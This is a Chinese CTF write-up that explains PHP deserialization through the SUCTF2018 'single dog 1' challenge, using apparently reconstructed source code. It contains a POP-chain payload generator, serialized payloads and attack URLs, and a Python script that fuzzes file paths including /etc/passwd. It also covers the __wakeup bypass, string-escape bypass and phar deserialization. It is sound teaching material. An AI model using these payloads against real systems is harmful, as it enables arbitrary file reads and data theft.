PHP反序列化漏洞实战:从原理到CTF任意文件读取利用 1. 项目概述与核心思路拆解“BUUCTF [SUCTF2018]single dog 1” 这道题在CTF圈子里算是个挺有意思的“入门级”Web题尤其适合刚接触代码审计和PHP反序列化的朋友。我第一次看到这个标题还以为是个什么“单身狗”的恶搞题结果一进去发现它其实是在用一种非常典型的方式考察我们对PHP反序列化漏洞的理解以及如何利用这个漏洞去读取服务器上的敏感文件也就是我们常说的“任意文件读取”。这道题的环境搭建在BUUCTF平台上还原了当年SUCTF 2018比赛的原题场景对于想从基础命令执行过渡到更复杂漏洞利用的选手来说是个很好的练手材料。简单来说这道题的核心就是给你一个包含了PHP反序列化漏洞的网页你需要通过构造特定的数据我们称之为“反序列化链”或“POP链”让服务器执行我们想要的代码最终目标通常是读取服务器上一个名为flag的文件。整个过程不涉及复杂的绕过更侧重于对反序列化原理和魔术方法触发条件的理解。如果你之前做过一些基础的unserialize()题目那么这道题能帮你巩固思路如果你是新手那它就是一个绝佳的、脉络清晰的学习案例。2. 题目环境初探与代码审计拿到题目第一步永远是信息收集。访问BUUCTF上对应的题目链接我们通常会看到一个非常简洁的页面可能只有几行代码或者一个简单的表单。对于[SUCTF2018]single dog 1其核心代码往往直接展示在页面上。假设我们看到的源码是这样的这是根据常见题型还原的典型结构?php highlight_file(__FILE__); class Read { public $filename; public function __toString() { if (isset($this-filename)) { return file_get_contents($this-filename); } return Please set filename!; } } class Show { public $source; public function __construct($source) { $this-source $source; } public function __toString() { return $this-source-__toString(); } } if (isset($_GET[source])) { $s unserialize($_GET[source]); echo $s; } else { $show new Show(new Read()); $show-source-filename ‘flag.php’; echo serialize($show); } ?我们来逐段拆解这段代码的逻辑和潜在的攻击面。2.1 核心类与魔术方法解析代码中定义了两个类Read和Show。Read类有一个公有属性$filename。定义了一个魔术方法__toString()。这个方法会在对象被当作字符串处理时自动调用。它的逻辑是如果$filename属性被设置了就使用file_get_contents()函数去读取这个文件名对应的文件内容并返回。否则返回一个提示字符串。关键点file_get_contents()是PHP中一个强大的文件读取函数如果我们可以控制$filename的值理论上就能读取服务器上的任意文件。这里就是整个漏洞利用的最终目标函数。Show类有一个公有属性$source。有一个构造函数__construct()用于初始化$source属性。定义了一个魔术方法__toString()。当Show对象被当作字符串处理时它会去调用其$source属性的__toString()方法。2.2 程序执行流与漏洞触发点代码底部的逻辑是题目的入口默认情况无GET参数如果用户访问页面时没有提供source这个GET参数程序会执行else分支。实例化一个Show对象$show并在构造时传入一个new Read()对象作为$source。将$show-source-filename设置为‘flag.php’注意这里可能是一个提示告诉我们flag在flag.php里但实际比赛中flag可能在根目录下的flag文件也可能在其他地方需要尝试。最后将$show对象进行序列化serialize($show)并输出这个序列化后的字符串。这实际上是题目在给我们一个“标准答案”的序列化结构让我们理解对象是如何被组装和序列化的。攻击入口有GET参数如果用户通过URL传递了source参数例如?source...程序会执行if分支。获取$_GET[‘source’]的值。使用unserialize()函数对其进行反序列化将字符串还原成PHP对象赋值给$s。最后使用echo输出$s。漏洞触发点unserialize($_GET[‘source’])这一行是绝对的危险信号。它直接反序列化了用户可控的输入没有任何过滤。这就是反序列化漏洞的典型特征。2.3 漏洞利用链POP Chain构造思路现在我们需要把各个点串联起来形成一条完整的攻击链Property-Oriented Programming Chain。我们的目标是让服务器执行file_get_contents(“/flag”)。利用链的推导过程如下最终目标执行Read::__toString()方法并且要让该对象内的$filename属性为我们可控的值例如/flag或./flag。如何触发Read::__toString()根据PHP魔术方法规则__toString()在对象被当作字符串时触发。在代码中哪里会把对象当字符串呢看echo $s;这一行。$s是unserialize()的结果如果$s是一个对象那么echo会试图将它转换为字符串从而触发该对象的__toString()方法。所以如果我们能让$s最终成为一个Read对象并且其$filename已设置就能达成目标。但是直接反序列化一个Read对象可行吗理论上可以但题目可能没有直接给出Read类的定义不代码开头已经定义了。所以我们可以直接构造一个Read对象的序列化字符串设置filename为flag。这似乎太简单了不符合CTF题的风格。我们再看代码逻辑。观察“标准答案”题目在无参数时序列化的是一个Show对象而不是Read对象。这提示我们预期的利用链可能涉及Show类。串联Show和Read看看Show::__toString()做了什么它返回$this-source-__toString()。这意味着当一个Show对象被当作字符串时它会去调用其source属性的__toString()方法。那么如果$s是一个Show对象并且$s-source是一个Read对象当echo $s时 a. 触发Show::__toString()。 b. 在Show::__toString()内部执行$this-source-__toString()即触发Read::__toString()。 c.Read::__toString()读取$this-filename指向的文件。完美这样我们就通过Show类“桥接”到了Read类。因此我们需要构造的序列化数据其结构应该是一个Show对象其source属性值是一个Read对象并且这个Read对象的filename属性被设置为目标文件路径。3. 构造利用载荷Payload与实操理解了原理接下来就是动手构造Payload。我们可以自己写一个PHP脚本也可以直接利用题目给出的“标准答案”进行修改。3.1 方法一基于题目代码本地构造最清晰的方式是自己写一个脚本模拟攻击。创建一个exp.php文件?php class Read { public $filename; } class Show { public $source; } // 1. 创建Read对象设置要读取的文件名 $read new Read(); // 尝试读取根目录下的flag文件常见位置 $read-filename ‘/flag’; // 也可以尝试 ‘flag’, ‘./flag’, ‘…/…/…/flag’ 等 // 2. 创建Show对象将Read对象赋值给其source属性 $show new Show(); $show-source $read; // 3. 序列化Show对象 $payload serialize($show); echo “生成的Payload: \n”; echo $payload; echo “\n\n”; // 4. URL编码可选因为GET请求会自动处理一些字符但为了安全最好编码 echo “URL编码后的Payload: \n”; echo urlencode($payload); ?运行这个脚本你会得到类似下面的输出生成的Payload: O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}} URL编码后的Payload: O%3A4%3A%22Show%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D序列化字符串解读O:4:“Show”表示一个对象Object类名长度为4类名是Show。:1:表示这个对象有1个属性。{s:6:“source”;...}花括号内是属性列表。第一个属性s:6:“source”表示属性名是长度为6的字符串source分号后是该属性的值。属性值O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}是另一个对象结构同理。它有一个属性filename其值为字符串/flag。3.2 方法二利用题目输出进行修改访问题目页面不带任何参数它会输出一个序列化字符串。这个字符串是题目预设的$show对象其filename被设为‘flag.php’。我们可以直接复制这个字符串然后手动或写脚本修改其中的filename值。假设题目输出是O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:8:“flag.php”;}}我们只需要把s:8:“flag.php”修改为s:5:“/flag”。注意字符串长度的数字也必须对应修改“flag.php”长度是8“/flag”长度是5。所以将s:8:“flag.php”整体替换为s:5:“/flag”。得到PayloadO:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}重要提示在手动修改序列化字符串时务必确保长度值s:后面的数字与实际字符串的字符数完全一致否则反序列化会失败。这是新手最容易出错的地方。3.3 发起攻击获取Flag将构造好的Payload通过source参数传递给题目URL。假设题目URL是http://target.com/index.php那么完整的攻击URL就是http://target.com/index.php?sourceO:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}或者使用URL编码后的版本更稳妥http://target.com/index.php?sourceO%3A4%3A%22Show%22%3A1%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D在浏览器中访问这个链接如果一切顺利服务器会接收source参数。反序列化参数还原出我们构造的Show和Read对象。执行echo $s触发Show::__toString()。进而触发Read::__toString()。Read::__toString()执行file_get_contents(“/flag”)。文件内容即flag被读出并通过echo显示在网页上。4. 常见问题、技巧与深度拓展在实际解题和后续类似题目中你会遇到各种情况。下面是一些核心的注意事项和进阶技巧。4.1 文件路径猜测与Fuzz这道题直接读/flag可能就成功了。但在实际CTF中flag的位置千奇百怪。你需要掌握文件路径Fuzz模糊测试的技巧。常用flag位置列表/flag/flag.txt/home/ctf/flag/var/www/html/flag./flag(当前目录)/etc/passwd(先读这个确认任意文件读取漏洞生效)/proc/self/cwd/flag(读取进程当前工作目录下的flag)../../../flag(尝试目录穿越)自动化Fuzz 你可以写一个简单的Python脚本使用requests库循环尝试不同的路径。import requests import urllib.parse url “http://target.com/index.php” base_payload ‘O:4:“Show”:1:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:XX:“PATH”;}}’ paths [‘/flag’, ‘/flag.txt’, ‘./flag’, ‘…/…/…/flag’, ‘/etc/passwd’, ‘/proc/self/cwd/flag’] for path in paths: # 替换路径并计算长度 payload base_payload.replace(‘PATH’, path).replace(‘XX’, str(len(path))) # URL编码 encoded_payload urllib.parse.quote(payload) full_url f”{url}?source{encoded_payload}” resp requests.get(full_url) if “flag{“ in resp.text or “SUCTF{“ in resp.text or “{“ in resp.text: # 根据比赛格式调整 print(f”[] Found flag at path: {path}“) print(resp.text) break else: print(f”[-] Trying {path}… No flag.”)4.2 魔术方法__wakeup()的干扰在更复杂的题目中类里可能会定义__wakeup()魔术方法。这个方法在对象被反序列化时自动调用优先于任何其他操作。出题人常常在__wakeup()里重置属性或进行过滤从而打断我们的利用链。例如如果Read类变成了这样class Read { public $filename; public function __wakeup() { $this-filename ‘default.txt’; // 重置filename破坏我们的payload } public function __toString() { … } }这时我们的Payload在反序列化后$filename会被__wakeup()重置导致利用失败。绕过__wakeup()的CVECVE-2016-7124 在PHP 5.6.25之前和7.0.10之前的版本如果序列化字符串中对象属性个数的值O:4:“Show”:1:中的1大于实际属性个数则__wakeup()方法将不会被执行。对于上面的Show类它只有1个属性source。我们可以把属性个数改成更大的数比如2。修改PayloadO:4:“Show”:2:{s:6:“source”;O:4:“Read”:1:{s:8:“filename”;s:5:“/flag”;}}注意虽然属性个数写的是2但我们只给出了1个属性source。在受影响的PHP版本中这能绕过__wakeup()。注意BUUCTF的题目环境通常是固定的不一定存在此漏洞。但这是一种非常重要的绕过技巧需要牢记。4.3 反序列化字符逃逸与过滤绕过有时题目会对序列化字符串进行过滤或替换例如将flag替换为空。这会破坏我们Payload的结构。假设过滤函数$data str_replace(‘flag’, ‘’, $_GET[‘source’]);我们的Payload…s:5:“/flag”…经过替换后变成了…s:5:“/”…字符串长度还是5但内容变成了“/”长度对不上导致反序列化失败。利用“反序列化字符逃逸”进行绕过 这种漏洞源于字符串替换操作改变了序列化字符串的总长度但序列化结构本身是依靠长度值来解析的。我们可以通过精心构造让被过滤的部分“吃掉”一些无关字符使得后面我们真正的Payload能够被正确解析。例如如果过滤flag我们可以构造这样的属性值 原计划filename ‘/flag’我们可以改为filename ‘flagflagflagflag…’;s:8:“filename2”;s:5:“/real”;…经过替换后所有的flag被删掉字符串变短可能会使得原本属于filename值的一部分字符被解析器认为是下一个属性名或值从而实现“逃逸”出被过滤的上下文注入新的属性。构造这类Payload需要精确计算长度偏移是CTF中比较高级的考点。对于本题single dog 1而言通常没有这么复杂的过滤但了解这个原理对后续做题至关重要。4.4 利用Phar协议进行反序列化这是一种非常强大的“花式”反序列化技巧。当unserialize()点很难直接利用但存在文件操作函数如file_get_contents()、include()、file_exists()等且参数部分可控时可以考虑。原理phar://协议在读取phar压缩包内的文件时会自动解析其元数据metadata并进行反序列化。而metadata可以是任何序列化字符串。利用步骤构造一个包含恶意序列化数据作为metadata的phar文件。将phar文件上传到服务器或知道其路径。通过可控的参数使用phar://协议去指向这个文件例如file_get_contents(‘phar:///path/to/evil.phar/xxx’)。服务器在解析phar文件时触发反序列化。虽然这道题用不上但它是PHP反序列化一个非常重要的扩展攻击面。4.5 实战中的调试技巧查看错误信息如果题目开启了display_errors反序列化失败会有Warning。仔细看错误信息能帮你定位是类不存在、属性不匹配还是其他问题。本地搭建环境对于复杂的链强烈建议在本地用相同版本的PHP搭建环境进行调试。用var_dump()或print_r()打印反序列化后的对象结构看是否和你预期一致。逐步构造链不要试图一次性构造出完整的、很长的POP链。先从最终要触发的危险函数如file_get_contents开始往回推一步一步测试每个环节的魔术方法是否能被成功触发。5. 从本题延伸的PHP反序列化学习路径解完这道题你算是推开了PHP反序列化漏洞的一扇门。但要真正掌握还需要系统性地学习和练习。1. 夯实基础理解序列化与反序列化彻底搞懂serialize()和unserialize()的格式能肉眼解析简单的序列化字符串。掌握所有魔术方法不仅仅是__toString,__wakeup还有__destruct析构函数非常常用、__call,__get,__set,__isset,__unset,__invoke当对象被当作函数调用时触发等。每一个都可能成为POP链的一环。2. 学习经典POP链构造研究知名PHP框架或库如Laravel, ThinkPHP, Monolog等中已知的反序列化利用链Gadget Chains。这些链通常由多个类的魔术方法巧妙连接而成。理解“小工具”Gadget的概念一个类的一个方法如果能被魔术方法触发并且其功能有用如能执行命令、写文件它就是一个Gadget。POP链就是寻找一条从反序列化入口到危险Gadget的调用路径。3. 掌握高级利用技巧字符逃逸如前所述是应对过滤的关键。Phar反序列化必须掌握的扩展攻击面。原生类利用PHP内置的类如SplFileObject,Error/Exception有时也能被用来构造利用链例如Error类的__toString方法会输出调用栈可能泄露路径信息。4. 工具辅助PHPGGC一个强大的工具收集了各种PHP反序列化链的Payload生成器。对于已知框架的漏洞可以直接生成利用代码。代码审计工具虽然不能完全依赖但像RIPS、Fortify等静态分析工具能帮你快速定位代码中的unserialize()点。5. 大量练习在BUUCTF、CTFHub、攻防世界等平台上专门找反序列化的题目练习。从易到难先做这种单点、链条清晰的题如本题再做涉及多个类、需要挖掘框架链的题最后挑战有过滤、需要字符逃逸的题。这道[SUCTF2018]single dog 1就像是一道经典的“开胃菜”它味道纯粹直指核心。它告诉你反序列化的本质就是“控制数据控制逻辑”。当你再遇到更复杂的题目时不妨回想一下这道题的思路找到反序列化入口分析可用类及其魔术方法画出可能的调用关系图然后像拼积木一样把通往危险函数的路径一块块搭起来。这个过程就是CTF中最迷人的“解谜”乐趣所在。